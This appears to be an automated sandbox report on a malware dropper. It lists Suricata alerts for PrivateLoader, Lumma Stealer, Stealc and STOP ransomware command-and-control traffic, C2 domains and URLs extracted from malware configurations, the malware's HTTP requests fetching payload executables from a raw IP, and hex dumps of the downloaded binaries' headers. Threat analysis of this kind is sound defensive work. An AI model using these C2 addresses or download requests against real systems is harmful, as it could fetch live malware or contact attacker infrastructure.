Source:	Binary string: PE.pdb source: fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.0000000004715000.00000004.00000800.00020000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2403595073.00000000056D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: MrBEu6cm6HagE9yrmXV8x4AG.exe, 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2643357273.000000C000132000.00000004.00001000.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654637181.000000C000488000.00000004.00001000.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000003.2616113101.00000266CD370000.00000004.00001000.00020000.00000000.sdmp

Spreading

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 3164, type: MEMORYSTR

Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_0040553A FindFirstFileA,		6_2_0040553A
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,		6_2_004055DE

Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 4x nop then jmp 05CC9443h	8_2_05CC9088
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 4x nop then jmp 05CC9443h	8_2_05CC907C
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 4x nop then jmp 05CC99E3h	8_2_05CC97DB
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Code function: 4x nop then jmp 05CC99E3h	8_2_05CC97E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054709 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (GET) : 192.168.2.6:49713 -> 147.45.47.57:80
Source: Network traffic	Suricata IDS: 2054709 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (GET) : 192.168.2.6:49715 -> 193.233.232.86:80
Source: Network traffic	Suricata IDS: 2054710 - Severity 1 - ET MALWARE PrivateLoader CnC Response : 193.233.232.86:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2054711 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (POST) : 192.168.2.6:49715 -> 193.233.232.86:80
Source: Network traffic	Suricata IDS: 2055299 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (interactiedovspm .shop) : 192.168.2.6:58173 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055300 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (interactiedovspm .shop in TLS SNI) : 192.168.2.6:49745 -> 172.67.161.217:443
Source: Network traffic	Suricata IDS: 2055306 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (torubleeodsmzo .shop in TLS SNI) : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055305 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (torubleeodsmzo .shop) : 192.168.2.6:55931 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055295 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (consciousourwi .shop) : 192.168.2.6:51429 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055303 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (southedhiscuso .shop) : 192.168.2.6:58597 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055294 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (charecteristicdxp .shop in TLS SNI) : 192.168.2.6:49747 -> 172.67.186.145:443
Source: Network traffic	Suricata IDS: 2055293 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (charecteristicdxp .shop) : 192.168.2.6:55872 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055302 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (potentioallykeos .shop in TLS SNI) : 192.168.2.6:49744 -> 172.67.148.102:443
Source: Network traffic	Suricata IDS: 2055304 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (southedhiscuso .shop in TLS SNI) : 192.168.2.6:49751 -> 172.67.178.83:443
Source: Network traffic	Suricata IDS: 2857974 - Severity 1 - ETPRO MALWARE Observed DNS Query to Lumma Domain : 192.168.2.6:55793 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2857975 - Severity 1 - ETPRO MALWARE Observed Lumma Domain in TLS SNI : 192.168.2.6:49755 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055298 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (deicedosmzj .shop in TLS SNI) : 192.168.2.6:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055307 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (weiggheticulop .shop) : 192.168.2.6:60313 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055292 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (cagedwifedsozm .shop in TLS SNI) : 192.168.2.6:49749 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055296 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (consciousourwi .shop in TLS SNI) : 192.168.2.6:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055297 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (deicedosmzj .shop) : 192.168.2.6:56458 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49739 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2833438 - Severity 1 - ETPRO MALWARE STOP Ransomware CnC Activity : 192.168.2.6:49786 -> 190.13.174.94:80
Source: Network traffic	Suricata IDS: 2036335 - Severity 1 - ET MALWARE Win32/Filecoder.STOP Variant Public Key Download : 190.13.174.94:80 -> 192.168.2.6:49786
Source: Network traffic	Suricata IDS: 2054711 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (POST) : 192.168.2.6:49736 -> 193.233.232.86:80
Source: Network traffic	Suricata IDS: 2055301 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (potentioallykeos .shop) : 192.168.2.6:49791 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055291 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (cagedwifedsozm .shop) : 192.168.2.6:61952 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49744 -> 172.67.148.102:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49744 -> 172.67.148.102:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49755 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49755 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49751 -> 172.67.178.83:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49751 -> 172.67.178.83:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49745 -> 172.67.161.217:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49745 -> 172.67.161.217:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49747 -> 172.67.186.145:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49747 -> 172.67.186.145:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49749 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49749 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://193.176.190.41/2fa883eebd632382.php
Source: Malware configuration extractor	URLs: consciousourwi.shop
Source: Malware configuration extractor	URLs: interactiedovspm.shop
Source: Malware configuration extractor	URLs: torubleeodsmzo.shop
Source: Malware configuration extractor	URLs: cagedwifedsozm.shop
Source: Malware configuration extractor	URLs: weiggheticulop.shop
Source: Malware configuration extractor	URLs: charecteristicdxp.shop
Source: Malware configuration extractor	URLs: potentioallykeos.shop
Source: Malware configuration extractor	URLs: deicedosmzj.shop
Source: Malware configuration extractor	URLs: southedhiscuso.shop
Source: Malware configuration extractor	URLs: http://cajgtus.com/test1/get.php
Source: Malware configuration extractor	URLs: claywyaeropumps.com
Source: Malware configuration extractor	URLs: 178.132.2.10

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: QqF66CN9bArK9m6IP2NbWtmJ.exe.0.dr
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: _lM5B1R1YX9ZaZuPwFpgG4hn.exe.0.dr

Performs DNS queries to domains with low reputation

Source:	DNS query: service-domain.xyz
Source:	DNS query: api5.check-data.xyz

Queries Google from non browser process on port 80

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	HTTP traffic: HEAD /prog/66c2d861a5b4d_google.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	HTTP traffic: GET /prog/66c2d861a5b4d_google.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.2.6:49788 -> 178.132.2.10:4000

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 21 Aug 2024 06:32:13 GMTServer: ApacheLast-Modified: Mon, 19 Aug 2024 07:28:19 GMTAccept-Ranges: bytesContent-Length: 8533504Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 24 00 14 3a 00 00 32 82 00 00 e8 05 00 c0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 a0 88 00 00 04 00 00 f0 7d 82 00 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 20 87 00 4e 00 00 00 00 30 87 00 d0 13 00 00 00 70 87 00 99 05 00 00 00 a0 7f 00 74 72 01 00 00 00 00 00 00 00 00 00 00 80 87 00 28 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 85 7f 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 34 87 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 12 3a 00 00 10 00 00 00 14 3a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 60 60 2e 64 61 74 61 00 00 00 f0 16 05 00 00 30 3a 00 00 18 05 00 00 18 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 30 43 40 00 00 50 3f 00 00 44 40 00 00 30 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 70 64 61 74 61 00 00 74 72 01 00 00 a0 7f 00 00 74 01 00 00 74 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 78 64 61 74 61 00 00 44 0c 00 00 00 20 81 00 00 0e 00 00 00 e8 80 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 00 e8 05 00 00 30 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 4e 00 00 00 00 20 87 00 00 02 00 00 00 f6 80 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 13 00 00 00 30 87 00 00 14 00 00 00 f8 80 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 70 00 00 00 00 50 87 00 00 02 00 00 00 0c 81 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 60 87 00 00 02 00 00 00 0e 81 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 73 72 63 00 00 00 99 05 00 00 00 70 87 00 00 06 00 00 00 10 81 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 28 1e 01 00 00 80 87 00 00 20 01 00 00 16 81 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 21 Aug 2024 06:32:13 GMTContent-Type: application/octet-streamContent-Length: 795648Last-Modified: Sun, 18 Aug 2024 09:57:23 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66c1c583-c2400"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 98 e1 fc bd dc 80 92 ee dc 80 92 ee dc 80 92 ee c2 d2 16 ee c7 80 92 ee c2 d2 07 ee cc 80 92 ee c2 d2 11 ee 96 80 92 ee fb 46 e9 ee d9 80 92 ee dc 80 93 ee b6 80 92 ee c2 d2 18 ee dd 80 92 ee c2 d2 06 ee dd 80 92 ee c2 d2 03 ee dd 80 92 ee 52 69 63 68 dc 80 92 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0a 92 0e 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 40 0a 00 00 e0 02 00 00 00 00 00 7e 17 00 00 00 10 00 00 00 50 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 30 0d 00 00 04 00 00 a0 65 0c 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 66 0a 00 3c 00 00 00 00 80 0b 00 d8 a3 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 63 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 0a 00 68 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c9 3f 0a 00 00 10 00 00 00 40 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 4c 1e 00 00 00 50 0a 00 00 20 00 00 00 44 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 0e 01 00 00 70 0a 00 00 1c 00 00 00 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 a3 01 00 00 80 0b 00 00 a4 01 00 00 80 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 21 Aug 2024 06:32:14 GMTContent-Type: application/octet-streamContent-Length: 2984448Last-Modified: Tue, 20 Aug 2024 16:40:58 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66c4c71a-2d8a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a f5 14 d3 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 f8 2b 00 00 90 01 00 00 00 00 00 0e 17 2c 00 00 20 00 00 00 20 2c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 2d 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ba 16 2c 00 4f 00 00 00 00 20 2c 00 9c 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2d 00 0c 00 00 00 00 16 2c 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 14 f7 2b 00 00 20 00 00 00 f8 2b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 8c 01 00 00 20 2c 00 00 8e 01 00 00 fa 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 2d 00 00 02 00 00 00 88 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ee 16 2c 00 00 00 00 00 48 00 00 00 02 00 05 00 f4 57 03 00 ac f7 0f 00 03 00 00 00 ae 00 00 06 a0 4f 13 00 60 c6 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 1d 00 00 0a 2a 26 00 02 28 1e 00 00 0a 00 2a ce 73 1f 00 00 0a 80 01 00 00 04 73 20 00 00 0a 80 02 00 00 04 73 21 00 00 0a 80 03 00 00 04 73 22 00 00 0a 80 04 00 00 04 73 23 00 00 0a 80 05 00 00 04 2a 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 24 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 25 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 26 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 27 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 28 00 00 0a 0a 2b 00 06 2a 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06 00 00 04 14 28 29 00 00 0a 0b 07 2c 21 72 01 00 00 70 d0 05 00 00 02 28 2a 00 00 0a 6f 2b 00 00 0a 73 2c 00 00 0a 0c 08 80 06 00 00 04 00 00 7e 06 00 00 04 0a 2b 00 06 2a 13 30 01 00 0b 00 00 00 07 00 00 11 00 7e 07 00 00 04
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 21 Aug 2024 06:32:14 GMTContent-Type: application/octet-streamContent-Length: 11083776Last-Modified: Mon, 19 Aug 2024 05:30:09 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66c2d861-a92000"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 7f d7 c2 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 cd 1c 7e 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 9e 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 ad 87 01 3c 00 00 00 00 f0 9a 01 d0 04 03 00 40 b8 9a 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 a3 7c 01 28 00 00 00 00 b7 9a 01 38 01 00 00 00 00 00 00 00 00 00 00 00 c0 f4 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 81 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b0 1e 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 e7 c9 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 80 01 00 00 00 b0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 c0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 d0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 30 00 00 74 d4 29 00 00 e0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 31 00 00 58 00 00 00 00 c0 f4 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 32 00 00 a0 12 a6 00 00 d0 f4 00 00 14 a6 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d0 04 03 00 00 f0 9a 01 00 06 03 00 00 1a a6 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 